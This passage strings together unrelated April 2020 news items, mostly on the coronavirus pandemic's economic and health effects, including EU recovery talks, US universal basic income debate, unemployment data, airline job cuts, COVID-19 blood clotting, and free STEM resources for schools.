tends to move up. The pound was last up 0.4% at $1.2468, having risen earlier to an eight-day high of $1.2479. The British currency was also higher versus the euro, trading 0.1% at 87.02 pence after rising also to an eight-day high of 86.91 pence. The Bank of Japan said on Monday it was expanding its stimulus to help companies hit by the coronavirus crisis, pledging to buy an unlimited amount of bonds. Traders now expect the Fed and the ECB to follow suit, on Wednesday and Thursday respectively. "I would assume that the pound is tracking risk assets higher," said Stephen Gallo, European head of FX strategy at BMO Financial Group. "On the whole this week, given all the central bank meetings that are coming, anyone who had risk-off trades on, they probably would be trimming some of that exposure. You don't fight the central banks," Gallo said. A further 360 people have died from COVID-19 in British hospitals, latest data showed on Monday, bringing the total to 21,092. It was the lowest daily death toll for four weeks. Officials, including Prime Minister Boris Johnson, warn against lifting lockdown measures too early. (Reuters) Source: www.businessworld.ie In a first, a Supreme Court employee tested positive for coronavirus on Monday. The judicial section employee of the Supreme Court reported for duty on April 16 and came in contact with two registrars at the apex court. Following this, the two registrars have been advised self-quarantine as a safety measure. He suffered fever for two days after reporting for duty on April 16 and tested positive for COVID-19 on Monday. He is now undergoing treatment at a government hospital, PTI reported. As per the standard COVID-19 protocol, all efforts are being made to trace all those who came in contact with the infected employee. Not only this, but efforts are also being made to screen all those who attended the court on April 16 and came in contact with the affected person. Due to the nationwide lockdown, the top court of the country has been hearing only urgent matters and is functioning via video conferencing. Journalists can witness the proceedings through a connection set up in the premises of the Supreme Court. The SC has heard 593 matters via video conferencing and delivered judgments in 215 matters during the lockdown period. Meanwhile, India has reported a total of 29,435 coronavirus positive cases. Of these, the number of active cases stands at 21,632, while the death tally stands at 934 people, the health ministry says. INDIA CORONAVIRUS TRACKER: BusinessToday.In brings you a daily tracker as coronavirus cases continue to spread. Here is the state-wise data on total cases, fatalities and recoveries in one comprehensive graphic. Also read: Coronavirus India Live Updates: 6 states favour lockdown extension; country's tally-29,435; death toll-934 Also read: Coronavirus lockdown: SC seeks response from Centre, DGCA on plea for refund of cancelled tickets Written by ACM *Strasbourg/Angelo Marcopolo/- Despite apparent Gaps (some say Division) on a Recovery Plan of probably about 1 Trillion , considered by most as necessary to be added to a 500 Billions' Solidarity Agreement against the Virus, EU Leaders seem, in Fact, to be Near a Deal, judging by French President Macron and German Chancellor Merkel's main observations, as well as of those made by EU Commission and EU Council's Presidents von der Leyen and Michel, at the Conclusion of Today's Video-Conference Summit, particularly IF they Focus on Big Projects for Europe's Future. The 1st Part (already Agreed) is expected to be Ready to Start from the Beginning of June, and it's Composed by 3 main elements : (a) the EIB would Back SMEs, (b) a new EU Regulation supporting Short-Time Work, and (c) the ESM would Fund Virus-related moves, withOut usual restrictions. In Addition, the ECB has Already announced Recently several Exceptional Measures, on the Monetary side, that EU Leaders clearly Backed. But, on the Contrary, for the 2nd Part, "there is Not a Consensus" yet, noted Macron, as many others, Pointing mainly at a Difference between those who want to Limit it just in "Loans" for "already InDempted Countries", as he regreted, and those who wish "Grants", (f.ex. by Money raised under Collective "Guarantee"). Indeed, Merkel and others have notoriously Refused "a Collectivisation of Debts", as she said. So that EU Commission was asked to Prepare a Compromise Draft, for Later on May. Many Commentators were Too Fast to speak about a Risk of "Division", roughly between Southern and Northern EU Member States, (which, comming just After the BREXIT, and in the middle of a Deadly Virus' Pandemic, might Push the EU into a Major Crisis). Merkel acknowledged that, during the "Discussion", the points expressed by EU Leaders "were Not always Uniform", (mainly on the Point "Grants or Loans"), while Macron Warned that, if there is Not a Good Reply to that Question, then Europe Risks to have "No Future". ----------------------- Speaking at a Video-Press Conference in Brussels, EU Council's President Michel called for a "Balanced" Solution, while EU Commission's President von der Leyen, Already, suggested a kind of "Mix between Grants and Loans", (but Carefully pointed at forthcoming "Close Consultations with Member States"). --------------------------- However, "Eurofora" is Firmly Convinced that, from what Macron and Merkel said at Press-Points in Paris and Berlin, immediately After that Video-Conferenced EU Summit, as well as elsewhere recently, it Clearly results that a Satisfatory and Efficient Solution can be really Found in order to Bridge the Core Franco-German and all EU main Positions, mainly by Focusing on Big, Ambitious and Far-Reaching, as well as Popular Big Projects on Europe's foreseable Future. : - Indeed, Merkel clearly Stressed that it all "is very much also about Investing in the Future". And she Pointed, f.ex., at "Climate"-related moves, "Innovative Mobility", and "Digitalisation", while Adding the "Capacity to Act Strategically Together in Europe". - As for Macron, he Strongly Highlighted here his favorite idea for an EU "Strategic Autonomy" and "European Sovereignity", observing that EU Leaders feel the Need to really Back that Now, in Key Areas, f.ex. such as "Digitalisation, Ecology, Industry, etc", where "a Consensus is Emerging". + Both Also mentioned, in Addition, a need to "Stimulate" certain "Sectors" which Suffered Heavy "Damages" from the Virus' Crisis, such as "Tourism Industry", and "Cars' Trade", etc, as Merkel mentioned, by Funding "Seriously Affected Region(s)", and/or "Seriously Impacted Sector(s)" of Economy, as Macron highlighted. - Indeed, "EU is an Overall Block : If you Let Down a Part of the Common Market, where the Most Productive Countries used to sell their Products, then, All of them will Lose", Macron Warned. Because Even Rich Countries depend on the Common Market to sell their Products to others, who must be able to buy them : So that, "Europe is One entity, if you Drop a Part of it, All of it Goes Away !". And Merkel, "very Clearly" stressed : -"A Common Answer is also in the German Interest, because we will only be well in the long run if Europe is well. We are Connected to All of Europe through Value-Chains; ... When these ...are Broken, we All have great Difficulties", she Warned. ++ Concerning EU Projects, Already, since EU's December 2019 Summit, Macron had launched a vibrant call for EU "High-Tech Projects", and an overall EU "Project able to create the Adhesion of our People", (endorsing a Key, long-time stance of "Eurofora" and other real Europeans : See Our NewsReport from Brussels, published then at : http://www.eurofora.net/newsflashes/news/macronmerkelforeuintegrationafterbrexit.html). Now, one might, perhaps, understand the Problem expressed, f.ex., by an Austrian Politician, as well as Various Others, (f.ex. in the Netherlands, etc), by Complaining, in substance, that - "We canNot Pay Debts for Choices made by Italian (and/or Other) politicians"... >>> But, What about, f.ex., an Active German Banker or Big Industry, eyeing an opportunity for an interesting Common Project, Jointly with Other EU Member States' Businesses, to Invest in an Ambitious and Promissing Project, meeting Vital EU Needs, able to Develop Europe and its Role in the World ? - Macron has somewhat Eased, perhaps, things, by referring Now, f.ex., into Grants from an EU Recovery Fund or EU's Budget, after an Emmission covered by a Collective "Guarantee", and "under very Clear Rules and Governance accepted by All", as he stressed... => In Other Words : What about Inclusive, Attractive and Ambitious EU Projects of Common Interest, Able to Develop Europe and Boost its Role in the World, as well as Stimulate EU Citizens' Support ? Wouldn't that Deserve, sometimes, perhaps, in all or part, a "Guarantee" to a Body as an EU "Recovery" or "ReVival" Fund, charged to Monitor such Big Projects according to the Best General Interest of the investors and Europe ? >>> Here, it's Obviously Useful to refer to an Interesting Publication, made Earlier Today, at "Eurofora"s own Web Forum, by a most Faithful Poster, "GVK369", expressing mainly Ideas that "Eurofora" has, in substance, Formulated and Supported since a Long Time ago, which Deserves a FULL TEXT Citation (See : http://www.eurofora.net/forum/index.php?topic=942.0) : __________________________________ << EU: Big Projects, Not just petty Logistics !.. on: April 23, 2020, 08:13:08 PM EU Leaders should use this Post-BREXIT era's beginning in order to Boost New, Big, Inventive, Ambitious, and Popular European Projects, that they were Hindered to do Previously, particularly due to UK's earlier notorious reluctance, Instead of Only Delaying and Quarrelling about petty and sterile Money-Sharing issues, partly worsened by UK's departure, followed by the Virus, etc... Such EU Projects, able to Mark the History of nowadays World, Attract Huge Popular Support, Stimulate the European Economy and Develop Science/Technology, could Spread accross a Large Spectrum of topical Possibilities : I.e. from Air-Space (f.ex. a Shuttle and/or other ReUsable Space Vehicle, a Space-Based "Early Warning System", Planets Exploration, Complete "Galileo", etc); Defense, (f.ex. Advance towards an EU Army, by developing EuroCorps etc, progressively Mutualise Army Spending/Procurements, set up a real EU Civil Protection Force against Natural and/or Man-made Hazards/Disasters, Create an EU Bio-Defense Force against any Hostile Bio-Warfare and/or Deadly Virus or other Pandemics, etc) ; Digitalisation (f.ex. a European SmartPhone, a New and independent Operating System, Key Softwares, Tele-Work in Rural Areas, etc) ; Transports (f.ex. a +600 km/h High Speed Train, PanEuropean High-Speed Rail Links, Ecologic Helico-Propulsed individual Air Vehicles, PanEuropean Rivers-Seas Networks for classic and modern Ships, etc); Agriculture (Food Independence, Quality, Safety and Health, Wood + Stones + Water Production, as well as Rural Spaces maintenance and/or Public use for Sport/Holidays/Exploration, etc) ; European History (f.ex. an Anthology with the Best Examples of Victorious Unity of many European Countries from Ancient Times to Nowadays, Collections of the most Brillant Ideas, Culture/Arts, Theories or Inventions created by Europeans, Europe's best role in the World, the most Brave Examples of European People's Resistance Facing various Threats, tragic Errors, Oppression, Aggressions, and their Struggle for Freedom, Democracy and Human Rights, etc) ; EU Citizens (f.ex. Boost Civic Participation in Public Decision-Making, popularise EU Civic Education, clarify and strengthen an EU Citizen Status making people feel Proud of being European, etc)... => In Most of these cases, the required Money will be Generated, in one way or another, and/or Attracted by a lot of such Big collective EU original Projects, able to Unite and Develop both the Interests, the enthousiasm and the Minds of all Europeans, (instead of Dividing by traping them inside narrow, petty Money-Sharing quarrels withOut Oxygen and Real Horizons)... >> ___________________________ + "Eurofora" would Add ; - These are Just SOME among the much More and Better, Numerous and Various possible EU big Projects with Huge Potential nowadays, for the foreseable Future ! (../..) ("Draft-News") House Speaker Nancy Pelosi expressed a willingness to look into instituting a universal basic income for the American people, which was the centerpiece of Democrat Andrew Yang's presidential campaign. Pelosi pointed out Monday on MSNBC that 'others have suggested a minimum income, a guaranteed income for people. Is that worthy of attention now? Perhaps so.' Congress already passed one bill to combat the economic fallout of the coronavirus pandemic that included cash payments to Americans. On Monday on MSNBC, House Speaker Nancy Pelosi expressed a willingness to look at universal basic income, a concept that was the centerpiece of Democrat Andrew Yang's presidential campaign Andrew Yang, photographed at a Democratic primary debate in September in Texas, pitched giving Americans over the age of 18 $1,000 a month, every month, which he named the 'freedom dividend' Official statistics from the Labor Department show 26.5 million people in the US have filed for unemployment benefits since March 15. The chart above shows the number of people submitting applications each week The Congressional Budget Office released a report last week predicting that 27 million Americans will lose their jobs due to the coronavirus crisis this year. The CBO's jobless rate projections per quarter are shown in the graph above Universal basic income, the way Yang pitched it, would come in the form of $1,000 payments to every American over 18 and would be doled out every month. On the campaign trail, Yang called the concept the 'freedom dividend.' 'There's nothing stopping us from making it happen. There's nothing stopping a majority of citizens of a democracy from passing ourselves a dividend,' Yang pitched to voters at the 2019 Iowa State Fair. 'Companies do it all the time, every day, and when companies do it, what do we say? Great job, good management,' Yang pointed out. 'We are the owners of this country, we can return some of it to ourselves and that's the only way we're going to get it back.' Yang responded positively to Pelosi's comments. 'I applaud Speaker Pelosi for publicly endorsing the consideration of a guaranteed income for all Americans,' Yang said in a statement. 'This pandemic has unfortunately exposed serious weaknesses in our economy with alarming unemployment rates and crippling impact on every professional industry,' he said. Andrew Yang responded to a satirical tweet from the 'Daily Show' that showed him cussing when he found out that Republican Sen. Mitt Romney had embraced UBI, 'I'm pumped about it actually' 'While checks during this mandated stay-at-home period are a good start, we need a universal basic income permanently in order to insure that Americans are prepared in an event of the next economic downturn, no matter the scale,' Yang added. Despite dropping out of the 2020 race in February, Yang's team has both reached out to lawmakers and been on the receiving end of interest coming from Capitol Hill in recent weeks. 'We've been literally working to reach out to legislators who have expressed interest in different versions of stimulus checks and UBI-like proposals, that includes AOC [Rep. Alexandria Ocasio-Cortez], the office of Mitt Romney, and of course Tim Ryan who has a fine piece of legislation to guide folks through this current period of turmoil,' a Yang adviser told DailyMail.com. Earlier this month, Ryan, a former 2020 presidential contender, and Rep. Ro Khanna, a co-chair of Bernie Sanders' 2020 campaign, introduced legislation that would give citizens over 16, and who make less than $130,000, $2,000 a month. The payments would go out until employment bounced back to pre-pandemic levels, the release said. 'We've been thrilled to see members of Congress reach out to us to continue the dicussion, like Sen. Mark Warner, who will be making an appearance on Andrew's podcast in the near future,' Yang's adviser also said. While Ryan, Khanna and Warner are all Democrats like Yang, Republicans including Romney and Sen. Tom Cotton have expressed interest in UBI too. In response to a satirical tweet from the 'Daily Show' that showed Yang shouting profanity because Romney embraced the concept of giving Americans $1,000 a month, the former candidate responded, 'Im pumped about it actually.' On Tuesday, Kevin Hassett, the chairman of the Council of Economic Advisers, told reporters that the White House is studying the idea of further stimulus payments like the $1,200 ones passed by Congress that are currently being handed out. WHY UNIVERSAL BASIC INCOME IS HAVING A MOMENT The idea of paying everyone a fixed amount every month is not particularly new - Martin Luther King Jr. proposed it in 1967 - but has become popular among some, mostly left-of-center, economists since the 2008 crash. Most of its backers argue that rapidly-changing technology has left large parts of the workforce behind, such as manufacturing jobs being replaced by robots and other roles left behind by automation. They also warn that the 2008 bailout of banks created economies which rely on big business and financial products rather than individual consumers and employees. Among the sectors they warn are going to be hit in the future are transportation, with truckers replaced by robot trucks, and retailing, with stores being replaced by online orders fulfilled by increasing layers of automated systems, even bringing food to the doorstop by drones or self-driving delivery trucks. The new economy, people like Elon Musk argue, simply cannot create jobs to replace those which vanish - and is sharply-divided into people who thrive in it, such as the Silicon Valley elite - and those who don't including swathes of blue-collar workers left without prospects. The solution, they say, is to provide a minimum income for everyone rather than means-tested and time-limited benefits. Those who are left behind would know where they stand, governments' cost of administering benefits and welfare programs would be slashed, and economies would be more stable in times of recession. The arguments were academic until now - with unemployment already at 26.5 million thanks to the coronavirus crisis. Now backers say that a minimum guaranteed income will help not just the unemployed but those in work facing pay cuts and uncertainty. It will force money into the retail economy rather than into the financial markets, because the recipients will spend it. Many backers see the trillions of dollars directed at holding up the banks and largest companies by the federal reserve as trickle-down economics which has no certainty of reaching the neediest, even if it averts a financial collapse. And they say, Congress and the Trump administration has already gone one step in the direction of universal basic income. The one-off bailout payment of up to $1,200 to everyone earning under $99,000 a year individually is a start but should be followed with regular payments, they argue. Rashida Tlaib, the Michigan Democratic congresswoman who is part of Alexandria Ocasio Cortez's 'squad' has called for the Treasury to produce $1 trillion platinum coins to allow every American to be sent a $2,000 pre-loaded debit card and $1,000 top-up every month until the end of the crisis. Her claim - one which has entered mainstream left-of-center economics in recent years - is that the government debt it would create does not matter and that concern over repaying it is overblown. Critics of universal basic income say it is flawed precisely because of the debt it racks up; they also say it removes 'moral hazard' from the capitalist system by allowing people to be jobless; and that it could trigger inflation. Advertisement Up to 13.9 million Americans are out of work but have NOT been able to register for unemployment benefits, Economic Policy Institute survey finds Millions of Americans who have lost their jobs during the coronavirus pandemic have been unable to register for unemployment benefits since the US economy entered a free fall, according to a poll released on Tuesday. The left-leaning Economic Policy Institute found in an online poll that for every 10 people who have successfully filed unemployment claims, three or four people have been unable to register and another two people have not tried to apply at a time of acute economic crisis. Official US statistics show that 26.5 million people have applied for unemployment benefits since March 15, wiping out all of the jobs gained during the longest employment boom in American history. EPI's survey indicates that an additional 8.9 million to 13.9 million people have been shut out of the system, according to Ben Zipperer, the study's lead author. 'This study validates the anecdotes and news reports we're seeing about people having trouble filing for benefits they need and deserve,' Zipperer said. Millions of Americans who have lost their jobs during the coronavirus pandemic have been unable to register for unemployment benefits since the US economy entered a free fall, according to a new survey from the Economic Policy Institute. Pictured: People line up outside the Arkansas Workforce Center waiting to file for unemployment benefits on April 6 EPI's survey of more than 24,600 people found that for every 10 who have successfully filed unemployment claims, three or four have been unable to register and another two people have not tried to apply because it was too difficult EPI's survey indicates that 8.9 million to 13.9 million people have been shut out of the system Idled workers say they have encountered downed websites and clogged phone lines, as the state governments that administer the program have been overwhelmed by applicants. 'It's a shame how you work for so many years and then when you need it, you can't get it,' said Jim Hewes, 48, who told Reuters he was unable to file a claim online for more than two weeks after he was furloughed from his job at a second-hand store in Orlando, Florida, in March. Hewes said he mailed off a paper application on April 9 but had not heard back from the state. 'It's almost set up to fail. It was made complicated so people would get discouraged and give up,' he said. EPI surveyed 24,607 US adult internet users using Google Surveys between April 13 and April 24. Some 9.4 percent of poll respondents said they had successfully applied for unemployment benefits, while 3.4 percent said they tried but could not get through. A further 1.9 percent said they did not apply because the process was too difficult. The jobless rate has continued to soar in the days since the survey ended and is expected to reach 14 percent over the course of the coronavirus crisis, according to a Congressional Budget Office report released last week. The CBO projected that 27 million Americans will find themselves out of work by the end of the second quarter in June. Long lines have become a mainstay outside unemployment offices across the country as people look to file claims in person to avoid the overwhelmed online process. People are seen waiting in line for help with unemployment benefits at the One-Stop Career Center in Las Vegas in March Many Americans who managed to file claims have yet to receive payments weeks after they lost their jobs States like New Jersey and Georgia have struggled to find staffers who know how to update computer systems that run on decades-old technology. Others that have moved to newer technology have also encountered technical woes. States have also had to incorporate enhanced federal benefits that provide an extra $600 per week and extend coverage to Uber drivers and other independent contractors. On top of that, many states entered the crisis with fewer workers to handle unemployment claims as an improving economy had allowed them to cut staff. States had the equivalent of 26,360 full-time workers in their unemployment offices in the 2018 fiscal year, according to the US Labor Department, down 30 percent from staffing levels during the peak of the Great Recession in 2009 and 2010. Many Americans who managed to file claims have yet to receive payments weeks after they lost their jobs. Labor Department statistics show that 71 percent who apply are getting payments, although that figure varies significantly by state. Florida, for example, said on Saturday it had sent payments to roughly one in five of those who had successfully submitted claims. Among those waiting are Rachel Alvarez, 44, who says she now hides snacks in her bedroom so her three children cannot eat them too quickly. The former restaurant server in Naples, Florida, says she has run through her savings since she was laid off on March 25. 'I have nothing,' she said. 'As much as I don't want my kids to see me stress out, each one has seen me cry.' [April 28, 2020] Terramera's Actigate Technology Recognized as World Changing Idea by Fast Company Terramera, the global AgTech leader fusing science, nature and artificial intelligence to transform how food is grown and the economics of agriculture, today was recognized in Fast Company's 2020 World Changing Ideas Awards. These awards honor ideas that are actively engaged and deeply committed to addressing the world's most pressing challenges. Terramera's proprietary Actigate Targeted Performance Technology was selected as a finalist in the Food category, and honorable mention in the General Excellence category. "Our Actigate technology can reduce the global synthetic chemical load in agriculture at least 80% by 2030, and we are thrilled to have it recognized as a World Changing Idea by Fast Company amongst other trailblazing innovations focused on building a better world," said Karn Manhas, Terramera Founder and CEO. "Actigate can help make farming healthier, more sustainable and more productive so we can ensure a world that thrives and provides for everyone, while also helping to turn back the clock on climate change." The current conventional 'spray-and-pray' approach on farms mans 50-90% of farm chemicals, like pesticides and fertilizers, get washed away into the soil and water. Not only is this inefficient, but an excessive build-up of chemicals can result in unintended consequences on human health and our environment which can damage soils, waterways, beneficial organisms and wildlife. Terramera's Actigate technology solves this by significantly improving the performance and uptake of the active ingredients used in crop protection products. Actigate can reduce the synthetic chemical load by at least 80% and make organic bio-pesticides perform more effectively, lowering costs across the system, improving farm productivity and profitability, and reducing waste and environmental impact. "There seems no better time to recognize organizations that are using their ingenuity, resources and, in some cases, their scale to tackle society's biggest problems," said Stephanie Mehta, Editor-in-Chief of Fast Company. "Our journalists, under the leadership of senior editor Morgan Clendaniel, have uncovered some of the smartest and most inspiring projects of the year." Terramera is the only Vancouver-based company to receive honors in the Food and General Excellence categories. Terramera's proprietary Actigate Targeted Performance Technology was selected from more than 3000 entries from across the globe by a panel of distinguished judges and will be highlighted in the May/June issue of Fast Company. About Terramera Terramera is a global AgTech leader fusing science, nature and artificial intelligence to transform how food is grown and the economics of agriculture in the next decade. With its revolutionary Actigate technology, Terramera is committed to reducing the global synthetic pesticide load by 80% by 2030 to protect plant and human health and ensure an earth that thrives and provides for everyone. The privately held company was founded in 2010 and has grown to include a world-class bench of engineers, scientists, advisors and investors. Terramera is headquartered in Vancouver, British Columbia, Canada, has integrated operations in Canada, the US and India that include research labs, a greenhouse and farm, and has more than 200 patents in its IP portfolio. For more information, please visit terramera.com About the World Changing Ideas Awards World Changing Ideas is one of Fast Company's major annual awards programs and is focused on social good, seeking to elevate finished products and brave concepts that make the world better. A panel of judges from across sectors choose winners, finalists, and honorable mentions based on feasibility and the potential for impact. With a goal of awarding ingenuity and fostering innovation, Fast Company draws attention to ideas with great potential and helps them expand their reach to inspire more people to start working on solving the problems that affect us all. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005607/en/ [ Back To TMCnet.com's Homepage ] By AFP LONDON: British Airways is set to slash up to 12,000 jobs as part of a restructuring plan forced on the carrier by the fallout from the novel coronavirus, its parent company IAG said on Tuesday. The firm said its plans were still under consultation but it was "likely that they will affect most of British Airways' employees and may result in the redundancy of up to 12,000". Passenger demand would take "several years" to return to 2019 levels, it added. International Airlines Group (IAG), which also owns Iberia and Vueling, saw its shares lose 2.2 percent as preliminary results showed first quarter revenue had fallen by 13 percent to EUR 4.6 billion (USD 4.9 billion). The group's operating result before exceptional items came in at a loss of EUR 535 million, compared with a profit of 135 million last year, with the second quarter expected to be worse. IAG said that it had reduced passenger capacity for April and May by 94 percent compared with the same period last year. BA chief executive Alex Cruz had warned last month there would be consequences for the airline after the coronavirus pandemic devastated demand. Recent weeks have seen the carrier, which has some 4,500 pilots and 16,000 cabin crew, only operating flights for essential travel and repatriation of tourists marooned abroad. Weighing further on the group was an exceptional 1.3 billion euro charge resulting, it said Tuesday, from the "ineffectiveness" of its fuel and foreign currency hedges for the remainder of the year. IAG, which said detailed first quarter results would be released on May 7, added its January-February operating result was similar to that period of 2019, despite the suspension of flights to China from the end of January as the virus impacted there. The group repeated its February guidance that "given the uncertainty on the impact and duration of COVID-19, IAG is not currently providing profit guidance for 2020" as a whole. "However, the Group expects its operating loss in the second quarter to be significantly worse than in the first quarter," given the virus fallout, Chief Financial Officer Stephen Gunning said in the statement. Doctors and researchers are concerned about the increase in blood clotting among COVID-19 patients. Dr. Jeffrey Laurence, a hematologist at Weill Cornell Medicine in New York City wrote in an email to CNN that the number of clotting problems on COVID-19 patients in the ICU is unprecedented. It appears to be widespread in severe coronavirus patients. Blood clotting is another dangerous complication of COVID-19 that has been a rising concern in frontline reports from the United States, Europe, and China. In Washington, Broadway and TV actor Nick Cordero's doctors have no choice but to amputate his right leg after spending nearly three weeks in the intensive care unit being treated for COVID-19. His blood flow has been obstructed by a clot. Shari Brosnahan, a critical care doctor at NYU Langone said that 40-year-olds patients in the ICU have clots in their fingers that look like they will lose a finger because of the virus. One of her patients is suffering from a lack of blood flow to both feet and both hands that an amputation is necessary or the blood vessels may get so damaged that the limbs might drop off by themselves. These so-called "thrombotic events" are backed up with research from the Netherlands who recently published their paper in the journal Thrombosis Research and found that 31% of 184 patients suffered from thrombotic complications are remarkably high. Blood clots can cause amputation on limbs and also lethal pulmonary embolisms, heart attacks, and strokes once it reaches the lungs, heart and the brain. Why does blood clotting happens? An international team of experts led by Dr. Behnood Bikdeli from the New York-Presbyterian Hospital studied the issue of blood clotting among COVID-19 patients and published their findings in the journal of The American College of Cardiology. Bikdeli said that their findings showed that the risks among COVID-19 patients were so great that they "may need to receive blood thinners, preventively, prophylactically, even before imaging tests are ordered." The reasons why blood clotting occurs are not fully understood, but Bikdeli offered several possible explanations. Patients with severe cases of COVID-19 are more likely to experience blood clotting when they have underlying medical conditions such as heart or lung disease. Another explanation, is that patients in the intensive care units are likelier to develop a clot because they are staying still for long periods. Some research is also indicating that "cytokine storm"-an abnormal immune reaction- are linked to higher rates of clotting as it is widely associated with COVID-19. But there could also be something in the virus itself causing the clotting. A paper in The Lancet journal last week showed that the virus can infect the endothelium cells of blood vessels that could interfere with the clotting process. Read Also: DIY Masks: Scientists Found the Best Materials to Use Too many micro clots Although Heparin is effective in some patients, some clots are too small that they do not work for all patients, according to Brosnahan. Autopsies have shown that there are hundreds of micro clots in some people's lungs. Military veterans hospital intensive care doctor, Cecilia Mirant-Borde said that micro clots help explain why ventilators work poorly for patients with low blood oxygen. It is the micro clotting that is blocking the circulation which leads the blood leaving the lungs with lesser oxygen than it should get. Researchers are learning more every day since the pandemic began five months ago in Wuhan, China. Brosnahan said that it is possible that the cause of the damages are all the same thing, and that there will be the same solution for it. Read Also: Coronavirus Can Live for 20 Days in The Eye, Longer Than in the Nose: Research Coronavirus & Remote Learning Updated: Free STEM and STEAM Resources for Schools During the COVID-19 Outbreak (Updated June 11) Education technology companies and organizations have stepped forward to help educators bring STEM and STEAM experiences to students in virtual ways during the COVID-19 closures. The following list of free resources in the arts, coding/computer science/engineering, crafting/design/making, math, science and integrated STEM/STEAM will be updated regularly as announcements are made. (If you know of a company that should be included on this list, please send details to [email protected].) The Arts The Academy of Art University is hosting a free series of online events, including guest experts in art and design speaking through Zoom, movie afternoons and nights, and virtual workshops on sketching and the use of various software programs. https://www.academyart.edu/admissions/upcoming-events/ Adobe is offering free access to Creative Cloud tools through May for home use by students attending schools that currently only provide lab access through May. https://helpx.adobe.com/enterprise/kb/covid-19-education-labs.html Adobe and Time Magazine have teamed up to provide a weekly art lesson online. The "Draw with Drew (and Rosie!)" sessions take place at 10 a.m. Pacific time on multiple websites. Drew Willis is the creative director of "Time for Kids" and a book illustrator; Rosie is his 10-year-old daughter; and both are "avid artists." Each episode includes a new drawing assignment, and participants vote on what they'd like the next assignment to be. https://time.com/5820518/draw-with-us/ The Annenberg Space for Photography is offering educational resources to teachers, including 10 documentaries from previous photographic exhibitions that educators can use for free. The films run between 20 and 25 minutes and cover climate change, refugees, Cuban history, wildlife and hip-hop. Each film comes with discussion questions, and museum experts are volunteering to visit classrooms virtually for remote discussions. https://annenbergphotospace.org/wp-content/uploads/2020/03/Documentary-Licensing-Form-Agreement_FINAL.pdf BrainVentures, an initiative of the University of Michigan Center for Digital Curricula, is making daily learning adventures free. These are crafted by classroom teachers to give students choices of learning activities; they accommodate different learning preferences and engage the learner in constructing animations, videos, photo albums and stories while taking them on field trips and having them play games and run simulations. https://cdc.engin.umich.edu/daily-brain-venture/ Mazaam is making its classical music app for children ages four to six free until Jun. 30, 2020. The music is intended to promote the development of emotional, cognitive and psychomotor skills. The app is available in English and French. There are versions for iOS and Android. Pantone is offering free access through July 2020 to Pantone Connect. The tool enables designers and artists to build and share color palettes, convert and cross-reference colors and match Pantone colors through Adobe Creative Cloud. https://www.pantone.com/products/digital-apps/pantone-connect-for-adobe-creative-cloud Pencils and Plums, a drawing site, is offering a free 125-page ebook titled, "2,500+ Drawing Ideas," with hundreds of printable drawing pages for elementary and older students. https://pencilsandplums.com/free-ebooks/free-ebook-2500-drawing-ideas/ The Seattle Symphony is livestreaming rebroadcasts of previous concerts, led by Music Director Thomas Dausgaard, as well as two "family-friendly" educational broadcasts: "Meet the Instrument" and "Tiny Clips for Tiny Tots." Those are available through Facebook and the Symphony's YouTube channel. https://seattlesymphony.org/live Soundtrap for Education, an online recording and editing studio, is extending its free trial for any school that signs up to try it with students this semester. Using the program, teachers and students can create, communicate and collaborate with "creative sound-making" through audio stories, music creation, podcasting and literacy training. Free access is available to support distance learning initiatives for 120 days and up to 500 seats per school with a trial account. To set up a free school trial account, visit the company's website and select " Start as a Teacher." https://www.soundtrap.com/edu/ Unity Technologies is providing free access to Unity Learn Premium, a 3D development platform, through Jun. 20, 2020. Registration provides access to live sessions with Unity experts and 350-plus hours of tutorials, hands-on projects, and courses for game developers, covering topics from "Game Mechanic Design Fundamentals" to "Getting Started with Post-Processing Stack for VR." Unity is also delivering virtual classes through "Create with Code Live," free for students, instructors and anyone else interested in learning to code; those sessions kick off on Mar. 23 at 9 a.m. Pacific time or 5 p.m. Pacific time. https://unity.com/products/learn-premium Anthony LaPaglia only tied the knot with his wife Alexandra Henkel in April 2018. But it appears that the couple were forced to spend their second anniversary apart this week amid the coronavirus pandemic. The Empire Records star, 61, shared a bittersweet message for his much younger bride, 30, to Instagram on Tuesday, writing: 'Happy Anniversary Alexandra.' 'Even in this strange time apart, this day is and will always be a seminal day in my life': Australian actor Anthony LaPaglia, 61, and his 30-year-old wife Alexandra Henkel appear to have celebrated their second anniversary apart amid COVID-19 'Even in this strange time apart, this day is and will always be a seminal day in my life. Love A,' he added. Anthony and Alexandra wed in an intimate ceremony in Hawaii two years ago. Announcing the news on social media, the blushing bride wrote at the time: '28.4.2018. The day I married the love of my life.' Still going strong! Anthony LaPaglia married his wife Alexandra Henkel in April 2018 Clearly aware of the age gap in their relationship, the German actress singled out trolls in another Instagram post. 'They said it wouldn't last. Love you bub,' she captioned a photo of herself with the star. Prior to Alexandra, Anthony was married to My Big Fat Greek Wedding actress Gia Carides for 18 years, with the couple divorcing in 2016. Happier times: The Empire Records star shared a bittersweet message for his much younger bride to Instagram on Tuesday, writing: 'Happy Anniversary Alexandra' The former couple share 17-year-old daughter Bridget. During an interview with the Herald Sun in April 2016, Anthony said their split was nobody else's business. 'My attitude is that if I don't know someone - and it's no disrespect to anyone out there - then I don't care what their opinion is because they're not me, they're not in my life and they can have all the opinions they like - they don't know what went on,' he said. 'Outsiders are relatively unimportant to me, as long as the people involved know what went on.' A 26-year-old woman has tested positive for COVID-19 in Bihar's Nalanda district, taking the total number of cases in the state to 346, a top official said here on Tuesday. According to Principal Secretary, Health, Sanjay Kumar, test reports of the woman, a resident of Nepura village adjoining the district headquarters of Bihar Sharif, came late on Monday. She had recently returned from Delhi. With this, the number of positive cases reported on Monday touched 69 the biggest-ever spike witnessed in the state where the contagion has now spread to 25 out of 38 districts. So far, 35 people have tested positive in Nalanda, with only Munger (90) and Patna (39) reporting more cases. A total of 19,790 samples have been tested in the state. Among the confirmed cases, two have died and 57 have recovered. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The loss of insulin-secreting beta cells by autoimmune destruction leads to type 1 diabetes. Clinical islet cell transplantation has the potential to cure diabetes, but donor pancreases are rare. In a new study, a group of researchers developed an improved pluripotent stem cell differentiation protocol to generate beta cells in vitro with superior glucose response and insulin secretion. This is a major step towards beta cell replacement therapy. Human pluripotent stem cells (either human embryonic stem cells or induced pluripotent stem cells) can differentiate into every cell type of the human body with unlimited self-renewing capacity. Hence, pluripotent stem cells are an optimal source to generate specialized cell types for cell replacement therapy, e.g. beta cells for diabetic patients. However, current in vitro beta cell differentiation protocols are very complex due to the high number of differentiation steps. The process requires almost 20 signaling proteins and small molecules to regulate the growth and differentiation of the cells and lasts for more than four weeks. Within this multi-step process not all cells differentiate into the targeted cells but take wrong 